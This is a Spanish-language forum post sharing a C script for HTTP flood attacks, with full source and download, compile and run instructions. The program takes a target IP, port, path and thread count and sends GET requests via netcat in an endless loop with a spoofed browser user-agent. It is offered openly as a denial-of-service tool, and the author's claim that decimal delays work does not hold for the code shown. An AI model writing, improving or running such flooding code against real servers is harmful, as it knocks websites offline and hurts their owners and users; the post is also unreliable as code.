Script para hacer HTTP Flood

Iniciado por v4char, Julio 28, 2015, 11:09:57 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Como bien dice el título es un script para hacer ataques de flood por medio de peticiones http podeis encontrar el script en github No tienes permitido ver los links. Registrarse o Entrar a mi cuenta tambien lo pegaré aquí pero por github lo ire actualizando.

Probadon en Kali y Freebsd

http-flood.c
Código: cpp
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
    char host[21],archivo[201],comando[651];
    int puerto,n_con,i,esperar;

    printf("IP: ");
    fflush(stdout);
    scanf("%s", host);

    printf("Puerto: ");
    fflush(stdout);
    scanf("%i", &puerto);

    printf("Archivo(en/img/index.php): ");
    fflush(stdout);
    scanf("%s", archivo);

    printf("Threads: ");
    fflush(stdout);
    scanf("%i", &n_con);

    printf("Delay en segundos: ");
    fflush(stdout);
    scanf("%i", &esperar);

    sprintf(comando, "echo \"GET /%s\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0\" | nc %s %i -r > NUL &", archivo, host, puerto);
    while (1)
    {
        i=0;
        for(i=0;i<n_con;i++)
        {
            fflush(stdout);
            system(comando);
            system("echo \"\" > NUL &");
            printf("=");
            system("rm -f NUL &");
        }
    printf("\n");
    sleep(esperar);
    }


    return 0;
}


Para descargalo
Código: php
wget https://raw.githubusercontent.com/v4char/HTTP-Flood/master/http-flood.c


Lo primero es compilarlo
Código: php
gcc http-flood.c -o http-flood


Ahora le damos permisos de ejecución (no suele ser necesario)
Código: php
chmod +x http-flood


Y ejecutamos el programa
Código: php
./http-flood


Ahora nos pedira una IP luego el puerto luego un archivo puede ser el index.html o index.php por ejemplo luego cuantos hilos y por ultimo el delay

En el delay se admiten numeros decimales como por ejemplo 0.5 ojo es un punto no una coma y si no quieres delay pon un 0

Si teneis alguna idea o problema decirmelo.

Fuente:No tienes permitido ver los links. Registrarse o Entrar a mi cuenta